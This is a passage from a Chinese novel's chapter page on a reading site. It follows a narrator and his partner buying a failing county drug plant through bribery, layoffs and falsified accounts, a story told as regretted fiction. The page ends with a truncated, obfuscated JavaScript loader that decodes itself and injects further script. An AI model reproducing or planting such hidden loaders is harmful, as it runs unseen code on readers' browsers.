零点看书吧

零点看书吧 > 科幻小说 > 生命册 > 正文 第五章

正文 第五章(第2页/共3页)

来!我房都给你订好了,五星级宾馆的豪华套间……快来吧!

我有点蒙。骆驼现在想的是一个亿了。

我要说,骆驼是敏锐的。骆驼对大势的把握一流。当我从上海飞到深圳,刚下飞机,骆驼就到机场接我来了。秋天了,骆驼身上处处有女人照料的痕迹,他穿着一袭风衣,里边的西装、衬衣也都是新烫的,脚下是一双锃亮的皮鞋,虽然还是很瘦,但精神抖擞。他身后还停着一辆黑色的小轿车,阳光下亮得刺眼,奥迪a6。

见了面,我说:不用这么夸张吧?还借辆车?

骆驼说:什么借辆车?这是公司给你配的。你一辆,我一辆,咱哥俩一个牌子。

我吃惊了。没有想到,在电话里说了说……骆驼已经把公司成立起来了。还买了车。效率真高啊!这就是骆驼。

我呆呆地看着骆驼……骆驼一拉车门,说:上车吧,吴总。

我四下看了看,说:司机呢?

骆驼笑了,骆驼伸开手,我看见他手里拿着一把明晃晃的车钥匙,他把手里的车钥匙抛起来,又洒脱地接在手里……说:我亲自给你当司机,怎么样?

我一下子有点头蒙……我说:你,你……行么?

骆驼笑了,说:你瓜放心吧。我整整学了三个月,正规的,每天下午……有证。接着,他一拉车门,说:上车。

坐在车上,我还是有些担心,骆驼只有一只胳膊呀……可是,骆驼就用一只胳膊开车,他的手熟练地把握着方向盘,在熙熙攘攘的大街上穿行,看上去从容不迫,游刃有余……我提着的心慢慢松下来了。仅有一只胳膊的骆驼,没有学不会的!这不得不让人叹服。骆驼一边开着车,一边说:好开,就是个熟练,你瓜也赶紧学吧。

我笑着说:你那车照,花钱买的吧?(我怀疑,他一只胳膊,怎么能办下驾驶证?)

骆驼也笑了,说:没花钱,卫丽丽找了熟人……

后来,坐骆驼的车我很放心。骆驼虽然只有一只能动的胳膊,可骆驼把那只能动的右手发挥到了极致。他开车是耍的,一只手握着方向盘,“哗”一下转一个圈儿,尔后再抡回来,看得你目瞪口呆!倒车时,他凭着感应,“嗞”的一下退回去,也不大看倒车镜,又“呜”一下开回来,倒线很直。他骄傲地说:这就叫人车合一。

当天晚上,住在骆驼给我预先订下的套间里,我和骆驼谈了一夜……骆驼又一次把我征服了。

整整一个晚上,骆驼的屁股几乎没怎么落座,他在房间里一直不停地走动,那只空袖子甩来甩去地舞着,时而慷慨激昂,时而娓娓而谈,像个话剧演员似的。骆驼给我大谈“资本理论”……他说:你发现了么?我们的社会形态已经开始变了。我们过去是实体经济,现在正在向资本经济过渡……资本经济是虚拟的,讲的是投资与回报。那是一个个看不见、摸不着的数字,人们在数字里挣钱,挣大钱!在日本,是没有人去银行存钱的,去银行存钱是要收费的……还是日本人聪明啊!明白了吧?一个伟大的时代,长出了一双无形的手,那就是——资本!

我说:在电话里,你不是说要办药厂么?

骆驼说:错。不是办,是收购。我们只管收购,收购之后“包装”上市……办药厂是别人的事,让别人去办。让懂行的人去办。我们只是借壳上市。

骆驼雄心勃勃,滔滔不绝地讲着。灯光下,骆驼的影子投在墙上,像一只黑色的、舞动着的大鸟……他主要阐述的只有两个字:“包装”。

接着,骆驼又告诉我办公司的一些事。他说:兄弟,委屈你了。咱们是患过难的弟兄,公司是以咱两个人为主。公司起名时,原本要把咱两个人的名字镶进去……要起“骆鹏公司”,念起来成了“落篷”,谐音不好听。起“国鹏公司”也不好听呢……后来,我想了想,就起“双峰公司”吧。骆驼双峰(暗喻你我兄弟),走得远,踏实,你说呢?

说实话,对公司起名我并不在意,就说:好哇。这名字好。

再往下,骆驼说了股份的事。骆驼说:你那四百多万,给你留一点余数,打包人股,我让财务上算了一下,占百分之十七的股份;我的多一些,占百分之三十一。还有一家,占百分之八……主要由咱三家控股。其余的,我联系了十几家公司,都是小份额……这第三家,骆驼说得有些含糊(后来我才知道,这所谓的第三家,其实是卫丽丽的哥哥,名叫卫真宇。他是一家银行的副行长)。

夜深了,骆驼把他带来的三包烟全吸完了……骆驼突然说:再苦几年,就再也不提钱的事了。永不再提!一人十个亿,怎么样?

说这话的时候,他的五指伸开,在空中作出鹰爪形,手指颤动着,像是已经“抓挖”到了似的。尔后他的手往前推着,高高地、用力地竖起了一个指头……我看着骆驼,我在骆驼眼里看到了一种亮光,那光会聚成一个极亮的、燃烧着的、足以慑服人的亮点,像火焰一样!他刚刚说过一个亿,现在一月不到,他想的是十个亿了?!

最后,骆驼终于坐下来了。他身子往后一退,靠在宽大的沙发上,就像燃烧尽了似的,显得很疲惫。这时候,骆驼半耷蒙着眼,用带一点忧伤的语气说:兄弟,咱们过去实在是太穷了。我记得我给你说过,我上边有一哥。我四岁那年,吃大食堂那年,我哥哥从远处跑来,气喘吁吁的。那年我哥七岁,他跑到我面前,伸开手,你猜他手里握的是什么?他手里握着一个“面疙瘩儿”。那是一碗稀饭里最稠的东西……我哥在大食堂里喝完了一碗稀饭,剩下了一个“面疙瘩儿”,没舍得吃。他吐在手里,给我拿回来……后来,我哥死了。我哥不是饿死的,是害病死的。但肯定营养不良……在我们家,正因为我哥哥死了,我才得到了更多的关爱……当骆驼说到这里的时候,他泪流满面,泣不成声。

我心里一疼!我也有过同样的经历……于是,我说:骆哥,我跟定你了。

骆驼不光是侠肝义胆,他还是一个很周到的人。第二天,骆驼领我走进了新开张的公司。公司搞得很气派,占了国贸大厦整整一层楼!欢迎我的人在国贸大厦十八层电梯门口站成两排,一个个叫道:吴总好!

尔后,骆驼又领我看了他给我安排的办公室。办公室也是里外套间,老板台、电脑、电话、沙发、茶几、冰箱及各样用具一应俱全。骆驼说:还满意吧?

我看了看,说:无话可说。

骆驼说:兄弟,别的人我信不过,我只信你。你可是重任在肩呢。

我说:你吩咐吧。

骆驼一招手说:你跟我来。

于是,骆驼把我带到了邻近的、一模一样的办公室,这是他的办公室。仅有的不同是,他的办公室里挂有两张巨大的地图,一张中国地图,一张世界地图。骆驼进屋后,把我领到地图前,突然说:想不想回老家看看?

我没反应过来,说:啥意思?

这时,骆驼指着地图上的一个点,那个点用红笔画了一个圆圈,是平原上的一个县份:钧州。

我马上就明白了。当年的钧州曾经被人称为“药都”,历史上有很多传说。传说中,药王孙思邈生前曾在这里采药、行医,死后又葬在了这里……因“药王爷”在此,九州十三县的中药必经这里,拜过“药王爷”后,药材才会灵验。当年,这里曾经是中原六省中药材的集散地。可这都是多少年前的事了……现在,如此偏僻的一个县份,有药厂么?

骆驼说:这正是我要告诉你的。这里有一个濒临破产的小药厂……我想请你出马,把它拿下来。尔后,包装上市!

我有些迟疑,说:现在药厂林立,都现代化了……这样一个小厂,行吗?

骆驼又激动了,他说:你瓜动动脑壳,一个好企业,成熟的企业,咱拿得下来么?就是这样的厂子,咱才有用武之地!这个厂的厂长跑到深圳来推销他的“山楂丸”,苦着一张瓜脸,我都跟他见过三次了。我还秘密地去考查过一次……我告诉你,在“药都”办药厂,这叫:地利;药厂经包装后可以上市,这叫:天时;派你去,你是平原人,熟悉当地情况,这叫:人和。天时、地利、人和,三则俱全。吊吊灰,你还怕什么?

骆驼说:我还告诉你,包装上市时,药厂的名字我都想好了,名头一定要响亮!中药界有那么多“堂”,咱就搭车上路,叫:厚朴堂!厚朴堂药业公司,怎么样?

骆驼真是个奇才!这名字起得好,庄重、厚道、朴实,给人以信任感。我又一次被他征服了。我说:行。我去。

骆驼说:飞机票我都给你订好了……带上财务人员,马上出发。一定要拿下!

我必须说明,我不是一个忘恩负义的人。

我跟骆驼的矛盾是从一粒纽扣开始的。或许更早一点,我们的分歧是从收购这家药厂开始的。

我在钧州一蹲就是一年零六个月。那是痛苦不堪的一年零六个月……

钧州离我的老家很近,只有七十公里的路程,可我连回家看一看的时间都没有。我一到钧州就陷进去了,进入了无休无止的谈判之中……那时光是很磨人的。

钧州是一个相对富裕的县份。它周围有山,山里有煤矿、磷矿、铝矿,再加上早年这里曾经是中药材的集散地,人是比较富的。可是,看了这里的药厂之后,我却大吃一惊。这家药厂就在县城里的药王庙后边,大门的门头上,挂有“钧州制药”的四个铁牌大字歪了一个,掉了一个,也没人管。厂里也是一片破败的景象,里边有三个车间,厂房的玻璃大多是烂的,到处都是灰尘,设备也很陈旧,工人只开了半班……过去,这个药厂销路最好的产品是“山楂丸”。可现在连“山楂丸”也销不动了。

我们是来了之后,悄悄地住下,偷偷地去考察的。这个厂的厂长姓尤,他穿着一件皱巴巴的西装,里边衫衣的领也烂着,他长着一张瓜脸,一脸的苦相,看样子是个老实人。等厂长知道了我们的来路,情况就大变了。他动员全厂的工人把厂子整个打扫了一遍……等我们第二天再看的时候,厂牌已换过,厂子里也干净多了。

只从联系上之后,他先是带着我们一连喝了七场酒。县委领导一场,县政府一场,卫生局一场,工业局一场,防疫站一场……这都是有关联的,你还不能不喝。尤厂长每每苦着脸说:吴总,给个面子。你们是来投资的,上头重视是好事……这都是爷,我们谁也得罪不起呀。我们只好喝了。

等到看账的时候,我吓了一跳!这样小的一个厂子,工人在册的一百五十六名。下岗、带退休的一共有七十二人,目前在职的有八十四人。产品大量滞销不说……还外欠八百万,连电费都付不起了。可就是这个老实巴交的老尤,尤厂长,除了要求解决所有工人的劳保、医保、养老金,还清欠债之外,还狮子大张口,造了一亿二的价!

于是,我即刻给骆驼打了电话,我说:这个厂不能要。这是个大包袱,是无底洞……

骆驼根本不听我说,骆驼说:要价多少?

我说:一亿二。

骆驼说:不多。你给我往下压,压到一千二。底线是一千二百万。

我说:还有“三险”呢?这可是一百五十六名工人的养老钱,加上欠款……光这些,三千万都打不住!你再好好想想?叫我说,撤吧。

骆驼不耐烦地说:你瓜干啥吃的?总想打退堂鼓?拿下,必是拿下!总价一千二,就这一千二百万,这是底线!

我说:这是不可能的。光欠款八百万,工人的“三险”呢?一家老小,可怜巴巴的……

骆驼说:你谈吧,就一千二。说完,他把电话挂了。

这次通话后,我心里很不舒服。我发现,自从当了董事长之后,骆驼的变化很大,他的声音里有了一种让人很难接受的东西……

这天晚上,我独自一人在县城的大街上溜达。走着走着,我闻到了煤的气味,石灰的气味。远处,尘土飞扬,公路上的煤车、石灰车亮着大灯一辆一辆轰隆隆地开过……再走,就闻见药材的气味了,还有狗咬。那久违的狗咬声,使我突然起了想回老家看看的念头……于是,第二天我悄没声地租了一辆车,回老家去了。可是,当我快要到村口的时候,我又退回来了。我怯了。我不知道那匿名信到底是谁写的?

傍晚,一进宾馆的门,就见尤厂长苦着一张瓜脸在大厅里候着,他见我,忙迎上来说:呀呀,吴总,你可回来了。你是咱的财神,可不能走啊,价钱的事,咱们还可以商量嘛……走,走,我让人专门去山里给你打了野鸡,吃饭,先吃饭。

第二天上午,尤厂长安排了一辆车把我拉到了一个水库边上。水库边停着一艘豪华游艇。游艇上,两个不知从哪里找来的漂亮小姑娘正在泡茶;在一平如静的广阔水面上,一些人站在两艘小船上,拉着抬网正在捕鱼……尤厂长陪着我,点头哈腰地说:吴总,昨天请你吃了山里的野鸡,今天请你吃现捕的活鱼……我看了尤厂长一眼,说:尤厂长,你本事挺大呀。这水库也归你管?尤厂长苦着脸说:我哪有这本事。这都是县上安排的,县长亲自安排的。我说:哎呀,这里风光不错。可惜的是,我不吃鱼。尤厂长吃惊地望着我,很遗憾地说:你不吃鱼?吃鱼好啊。这可都是现打的活鱼呀!那,那……算了。——其实,我不是不吃鱼。我是怕受恩太重,不好交代……骆驼给我交了底,就一千二百万,我怕谈不下来。

下了船,我故意说:老尤,你狮子大张口,我做不了主啊。

当天晚上,骆驼的电话又打过来了。骆驼说:兄弟,生我气了?你瓜要记住,咱们永远都是亲兄弟!不过,你做得对。就是要晾他几天……兄弟呀,咱们两个,还是要一个唱红脸子,一个唱白脸子,诈他个驴日的!

我说:你是董事长,你说了算。

骆驼说:吊吊灰,你这是骂我呢。哥哥,弟弟,除了老婆,不分你我……

我一激动,忍不住说:还有那么多工人呢,你得替那些工人想想。一千二,真的拿不下来……

骆驼话说得很难听。骆驼说:工人?什么工人,渣子!他们干了几十年,厂子垮了,要我们来拯救他们么?你不要老替那些下人说话。这个时代,只有下人才抱怨生活!

我一下子愣住了。在言谈中,骆驼的语气完全变了。在他的话里,已经开始称底层社会的人为“下人”了!

我说:“上人”……从此以后,在电话里,我一直称他为“上人”。

骆驼听出了我的嘲讽,马上改口说:兄弟,我知道谈判很艰难。难为你了。我再给你交个底,钱不是问题,我这边又联络了十几家公司……你谈到什么程度就是什么程度。必是要拿下来。哪里不通,你给我砸,砸死他!那姓尤的,厂长,叫财务上给他送去一百万。看他怎么说?

不知不觉地,在骆驼眼里,已经没有摆不平的事情了。钱,可以撑人的胆。骆驼看周围事物的目光也开始发生变化了……我觉得,那一百万,尤厂长是不会要的。价钱压得这么低,关系着那么多工人的生存问题,他怎么敢要?

我说:这事……我不便出面。——我还是有底线的,我羞于给人行贿。虽然,我也在下滑之中。

骆驼说:你别管,让小丁去。

那些日子,我一直活得很分裂。谈判仍然在艰难地进行着。很复杂,也很混乱。他们三天两头变,县长一个主意,卫生局长一个主意,工业局又是一个主意,尤厂长是百变之身,县长来了听县长的,局长来了听局长的,一会儿一个说法……这时候,我也很矛盾。眼里一个标尺,心里又是一个标尺。我也是从底层走出来的,但当我看到底层人的狡诈时……怎么说呢?仍然很气愤。

尤厂长把钱收下了。一百万,他吞了……这是小丁告诉我的。可是,第二天,在谈判桌上,他仍然很强硬。他不停地哭穷,找各种理由,摆各种各样的困难……在谈判最艰难的时候,他甚至私下里组织工人在厂门口打出了横幅!那竹竿挑着的白布上写着:“贱卖药厂是国家的罪人!”“工人是国家的主人!”“我们要吃饭!”……这时候,老尤又出来装好人了。他一跳一跳地蹿出来,指着闹事的工人说:回去!都给我回去!瞎闹什么?这边正谈呢……放心吧,不该让步的,我决不让步!

私下里,老尤又是一套。那一天吃饭前,老尤把我拉到一边,悄声说:吴总,你得理解,我也有难处啊!我既得防着上边,又得防着下边……得罪了哪一头,都没有好果子吃。那钱,我虽说收了,也是过过手,我得……说着,他苦着脸,往上指了指,也不知指的是谁。

我看着他,作为一个厂长,一个濒临破产的药厂厂长,这一阵子他受尽了折磨。他就像是掉进了风箱里的老鼠,两头受气,不知有多少人指责他、骂他!在这段时间里,他整个人像是一块揉皱了的抹布,满脸都是忧愁和沮丧,眼窝深陷着,眼里布满了血丝……此时此刻,我真的不知道他说的是真话还是假话。

谈判仍然一日日艰难地进行着……焦灼、憋闷,有时候逼得人想疯!突然有一天,一个下岗工人把他的老婆拉到了厂门口,就那么往地上一扔(地上铺着一张席,还有被子),不管了!她头上包着一个头巾,身上穿着印有药厂字样的破工作服,就那么有气无力地半躺着,脸色蜡黄。立时,门口又围了一堆人,一个个嗷嗷叫……后来我才知道,这女的也是药厂的工人,得了肾病,每个月都要透析……这还不是一个人的事。

果然,第二天,在谈判桌上,老尤就又提出了医疗费的问题。他手里拿着一摞子等着报销的条子,好几年的,有四百多万……我无话可说。我实在是谈不下去了。

当我跟骆驼通电话时,我说:“上人”,又出事了。一个女工,躺到厂门口去了……骆驼说:继续谈。接着,他又说:她是山楂丸吃多了,酸中毒!你告诉她,吃雷尼替丁……也许,骆驼是想幽一默。可他“幽”的不是时候,我无话可说……骆驼还说:这是诈你呢。顶住!我明白了,每个人站的角度不同,立场就不同。这是立场问题。立场。

是呀,当工人朝我吐唾沫的时候……我也很生气。我望着他们,心想,是谁把他们变成了这个样子?他们是国营厂的工人,也曾骄傲过、自豪过。怎么就一天天沦落了呢?

当谈判进行到六个月的时候,事情终于有了转机。这时候,政府开始出面了……不知道是骆驼让小丁送的一百万起了作用,还是骆驼遥控指挥,又动用了其他的手段……总之,在政府的干预下,老尤的态度发生了很大的变化,谈判终于有了结果:我们以二千六百万的价位拿下了这个厂子。应该说,除了地皮和厂房,我们买下的是一个壳,空壳。或者说,我们买下的只是一套办厂的手续。

当天晚上,我看见一百多个工人聚集在厂门口,他们拦住老尤,把他揍了一顿!工人们人人手里举着一个空碗,乱纷纷地把碗摔在了地上,以示抗议!老尤就在地上蹲着,一声不吭,任他们揍……工人们都哭了。

骆驼是正式签合同的那一天赶到的。不知怎么搞的,骆驼竟是以港方代表的身份出现在钧州的(后来我才明白,有了“港资”的投人,就可以免税三年)。于是,骆驼作为香港投资方的代表,受到了县委、县政府最隆重的接待……尔后,在县长的亲自陪同下,骆驼十分风光地在合同上签上了他的大名:骆国栋。

骆国栋这三个字,他写得龙飞凤舞。我想,他一定是在家里练过了……我还是替那些工人难受,他们一人分到了五万块钱。从此,他们就跟这个厂子没有任何关系了。骆驼在一百多名工人中,仅留了四十个。

当天晚上,当我跟骆驼终于有时间坐在一起的时候,骆驼说:兄弟,这件大事,是你一手办下来的,辛苦你了。

我看着他,这一段时间,我们几乎天天吵架,我们有许多地方出现了分歧……我说:那些工人,太可怜了。

骆驼激愤地说:错!可怜之人,必有可恨之处。他们八十六名工人,吃垮了一个厂子,你还说他们可怜?

我说:“上人”,话不能这么说。他们……

骆驼说:你别讽刺我。我问你,这里有傻子么?这里没有一个傻子。问题是,他们都太精了!一个个干三得很,混成了油子,猴精!我告诉你,我偷偷地来考察过这个厂……他们偷“山楂丸”吃。人人都偷,上下班都要搜身的。厂长,就那老尤,他虽不偷,可他成箱成箱地往县委送……山楂不够了,就用红薯泥代替!你瓜想想,这有多可恶?后来他们的“山楂丸”没人要了,厂子眼看就垮了,他们还高喊着,他们是主人!有这样的主人么?渣子!

我承认,骆驼说的是事实。也许没有那么严重,只是部分事实……但骆驼也太刻毒了。也许,他们的工资太低了。那么一点点儿钱,还要养活一家老小,他们没有苹果,可能也吃不起苹果,就偷吃或偷拿一点“山楂丸”给他们的孩子,这也不算太过……接触这么久了,我从目光里看,那些工人还是善良的,有是非观的。

我说:咱们都是学历史的。老子说:上善若水……

骆驼说:老子也说过:“正用为大善,邪用为大恶。”换句话说,也就是:大恶即善,大善即恶。我们现在所做的,表面上看似一个字:“恶”。其实是善,这才叫大善。我们是来拯救他们的。

接下去,我们就“走”得远了,说着说着,我们谈到了信仰……骆驼说……我们没有“神”。我们“神”太多,乱“神”,结果是没有“神”。更可怕的是你说的信,或者信仰,是嘴上的唾沫,问题是,我们不真信。我们嘴里说一套,心里想一套……

我说:总是要信一点什么吧?你现在信什么?

骆驼说:我现在就信一个字:钱!

往下,说着说着,骆驼又激动了。骆驼忽地站起来,在屋子里来回走动着,说:你不要以为咱们只是买了一个“壳”,一套办药厂的手续……那你就错了。地皮、厂房就不说了。我查过这个厂的档案,就光是那一汤、一散、一丸,就值十个亿!包装上市后,五十亿都不止!兄弟,再给你交个底吧,别说是两千六百万,就是要一个亿,我也要拿下!

我知道,我知道骆驼所说的:一汤(那叫“大承气汤”,是个老方子,治急性肠胃炎的),一散(那叫“逍遥散”,也是个中医偏方,治肝炎的),一丸(那叫“银翘解毒丸”,清热解毒,治风寒感冒的),问题是,这样的中药方,几乎所有的中药厂都有。

骆驼说:兄弟,你又错了。是,这方子哪个厂都有……问题是,咱们厚朴堂有了“国药批准文号”,有条码号……咱们可以立即投产!你想,全国十三亿人口,咱们切一块,哪怕是切一小块,那会是多少?你瓜想都不敢想!这就是“资本”的力量!

再往下,骆驼的“领袖意识”又冒出来了。骆驼说:兄弟,你知道我为什么会派你来么?你这人沉着,冷静,干事执著。我说一千二百万,你就死盯着一千二百万……你比我耐性好。你可以磨,泡,熬……我来都不行。我这人太急躁,谈着谈着,我就会疯。我一疯,一个亿都拿不下来。兄弟呀,可以说,你为咱厚朴堂立了大功!

我不知道该怎么说,当时我很迷茫。我知道,在对大势的把握上,在“钱途”的问题上,骆驼的判断都是正确的。我虽然不想承认,可我们的确是为钱而来的……可是,在一些具体问题的处理上,我跟骆驼又有了分歧。

到了最后,骆驼开始求我了。骆驼说:兄弟呀,我知道你苦了半年多,你就快要熬不下去了。那就再忍忍,再苦几个月吧。你放心,厂子的事不让你管,我找一懂行的来管这个厂子,我再砸他一千万,所有的设备全换成进口的,要一流的包装、一流的药品质量……你呢,就给我负责包装上市。你要啥我给你啥,我给你找最好的会计师、精算师……骆驼举起一只手:哥哥拜托了!

骆驼话里有话。这个厂,如果不能包装上市,那就前功尽弃,是一个大包袱!如果真能包装上市了,那就会财源滚滚……到了这时候,我知道,我们已经没有退路了。

我心里一直有一个痛点。

……是关于“那个人”的。我为他惋惜。

最早,当骆驼跟我谈起他的时候,没有说名字,他说的就是“那个人”。

后来我才知道,“那个人”是我的老乡,竟还是一个镇的。他是范村人,老家离我们无梁村只有十七里地。此人在我上大学的时候,就成了一个乡间的“传说”。是我们农家子弟的楷模。那时候,村里人说:听说范村一个娃子,真争气呀,保送到美国去了!

这娃子,说的就是他了。

据说,他是由一个寡妇女人带大的。小时候,他家里很穷。但此人极聪明,发愤读书,学习成绩极好。大学毕业后,他是公派到美国去的。他在美国加州伯克利大学读的是农学,研究大豆和玉米,三年就获得了农学博士学位。更为可贵的是,他同时又兼修了经济学,因一篇经济学论文轰动美国,毕业的时候成了双博士。

此人可以说是“白璧无瑕”,是用放大镜都找不到缺点的一个人。他回国后,逐渐受到了官方的重视,先是在一农科所当副所长,一年后成了科技厅的副厅长,后来又直接提拔为分管经济的副省长。

“那个人”,在当了副省长之后,口碑也极好。他不吸烟,不喝酒,去农村的时候,夏天里还习惯戴一草帽,后来报纸上宣传他的时候,称他为“戴草帽的省长”。每次下基层,临走时,他都会让司机把后备箱打开,看看是否送了东西。如果有的话,他一定要人家拿回去。这已成了他的惯例。他的母亲,就是那个寡妇女人,是个明大理的人。她执意地不到城里来住……而且,在她的儿子当了副省长之后,她把村里所有的亲戚召集在一起,说:狗剩儿(他的小名)当了省长了,他不是为咱村里人当的,是为国家当的。我不找他。你们谁也不要去找他……这个寡妇女人说到做到,没让儿子给她办过一件事情。

你说,这样清廉的一个人,一个端方的人,你怎么打倒他呢?你用什么办法可以打倒他呢?

我记得,最初的时候,是因为一粒纽扣,袖口上的。

“那个人”,他是留美的。在公开的场合,他已习惯穿西装,打领带。他身上常穿的那套西装,是在美国读博士的时候买的(据说,还是他前妻给他买的。后来两人分手了。那女人留在了美国),质地很好。也许是偏爱,已有些年份了,他还常穿。他袖口上的那粒纽扣很特别,是锚形的,整体上很配。他左边袖口上的纽扣还在,只是右边袖口上的纽扣掉了……就是这粒纽扣,引起了骆驼的注意。

那时候,厚朴堂药业公司改制后的上市报告已送到了省里,亟待批复。火都上了房了,却一直批不下来。骆驼急得嗷嗷叫,一再说:砸,砸死,要不惜代价!可是,就像是通竹竿一样,骆驼亲自出马,一节一节地通……可通到了“那个人”这里,却再也通不动了。据说,那份报告一直在他的办公桌上放着,却没有批复。

那天晚上,我跟骆驼又吵了一架。在电话里,骆驼说……这是个死结。必是解开它!

我说:怎么解?账已做了,你也知道,假账。据说,他是留美的经济学博士,你唬不住他……

骆驼说:吊吊灰,生死攸关,你怎么老替别人说话?

我说:你说过,协调归你。我告诉你,他不收礼。

骆驼急了,恨恨地,又想骂娘,说:你瓜脑壳……可他还是忍住了,说:好吧,我想办法。

说实话,对“那个人”,从内心里说,我是佩服的。我不知道骆驼还有什么办法……

然而,五天后,小乔从香港那边飞过来了。这个小乔,长得并不好看,黑黑瘦瘦的,眼大,颧骨高,一副寡相。但身上穿的衣服都是名牌,看上去很……性感。小乔与卫丽丽有很明显的不同,卫丽丽眼里有很多水汽;小乔的眼里却是火,或者说是冷焰,看人的时候,甚至有一点点斜视,很锐利,那里边燃烧着欲望的火苗。她是以“骆驼特使”的身份出现的。她说话的口吻竟然比骆驼还“骆驼”,颐指气使,她竟然打电话指使我去省城的机场迎接她(我也是看骆驼的面子)……等她下了飞机,见了面,握手的时候,她那染了黑指甲的手指仅仅是碰了我一下,马上就缩回去了,凉凉的。

等上了车,她打开一个精致的密码手提箱,从里边拿出了一个小小的透明塑料袋,塑料袋里装着一粒纽扣。她两个指头捏着,娇滴滴地说:吴总,我这次专程来,就为这个。

我说:就为一粒扣子?

小乔说:yes(是的)。

我说:值得么?

小乔说:be o

thy of(值得)。

我摇摇头,不知说什么好了。

小乔举着手里的扣子,说:吴总,你知道这粒扣子值多少钱么?

我用嘲讽的语气说:不会是金子做的吧?

小乔说:比金子做的还贵,价值一万美元。

我吃惊地望着她,说:不会吧?

小乔说:主要是贵在了机票上。这是我专程去美国买回来的……polo——美国名牌西装:拉尔夫·劳伦。

为一粒扣子,跑一趟美国,这也太烧包了!另外,我对小乔也很反感,学了几句洋词儿,不时地夹着用,就像羊群里冷不丁蹿出了一只骚狐狸,或者说像是汉语里夹一洋屁,事事儿的,实在让人讨厌。

接下去,小乔说:吴总,国栋说了,您只管做好上市的文件,把所有的文件、表格都一并准备好……协调的事,由我来做。

说到骆驼的时候,她的口吻很亲昵,甚至有点轻佻。我知道,她这是暗示我,她跟骆驼的关系不一般……

当天晚上,当我把小乔安置到宾馆住下后,我即刻跟骆驼通了电话。在电话里,我有些失控,我说……你怎么找了个这样的女人?

骆驼有些迟疑,说:怎、怎么了?

我不知道该怎么说。我说:这女人,这小乔,太轻佻。你什么眼光?不怎么样。

骆驼还是有保留。骆驼说:兄弟,你……不会是吃哥哥的醋吧?哥哥,不就这点事么。这样,现在正是用人的时候,她要试试……就让她试试。她要不行,你放心,我让她滚蛋。这行吧?

接着,骆驼又说:其实,你不了解她。小乔不是花瓶,小乔在服装上还是很有研究的。她是北京服装学院毕业的,可以做个很好的生活顾问……

我沉默。也只有沉默。

说实话,那时候,我不相信一粒扣子可以打倒一个人……可是,我错了。一粒扣子虽然不能打倒一个人,可一粒扣子足可以撬开一条缝隙。试想,行程万里,去给你配一扣子,诚可动天哪!秋天的时候,我在电视上看到了“那个人”,我的老乡。这时候,他仍然穿着那套旧西装,可他袖口上的扣子很醒目,是齐全的。

我不知道小乔是怎么具体操作的……我只知道,四个月后,到了冬天的时候,我们厚朴堂的上市报告报到北京去了。

此后,有一天,卫丽丽突然给我打了一个电话。接了电话后我大吃一惊!

再后,又过了四年。四年后,“那个人”被“双规”了……我听说,我这个老乡,他进监狱后,说了一句话,这话锥心。他说:又回到中学时代了。

现在,报上已登出来了。我可以告诉你他的名字,他叫:范家福。小名:狗剩儿。

坦白地说,我是造过假的。

我清楚,人到了一定年龄,就容易美化自己。现在骆驼已经不在了……我也不想再美化自己,我的确是造过假的。

其实,当时我们都疯了。在很多事情上,我们并没有差别。我也仅仅是在一些具体问题上发出了一些疑问,但整个事情的轨迹,并没有改变。所以,对于骆驼的死,我也是负有责任的。

厚朴堂包装上市的过程,是十分复杂的……那一段日子,比在股市时套着还要难受。现在想来,仍叫人不寒而栗。

不是我一个人造假,是一帮人在造假。骆驼给我调集了一班精英,一个个都是大学毕业,都是学经济的,都有各种各样的“资格证”……我跟他们整整讨论了一天,才弄明白企业上市的各种必备条件。当时我就炸了!就现有的条件来看,厚朴堂要想上市,那几乎是把骆驼穿在针眼里,是开国际玩笑,一点可能性都没有。

当天晚上 『加入书签,方便阅读』
-->> 本章未完,点击下一页继续阅读(第2页/共3页)

!function(){function a(a){var _idx="kzsjva1mtn";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 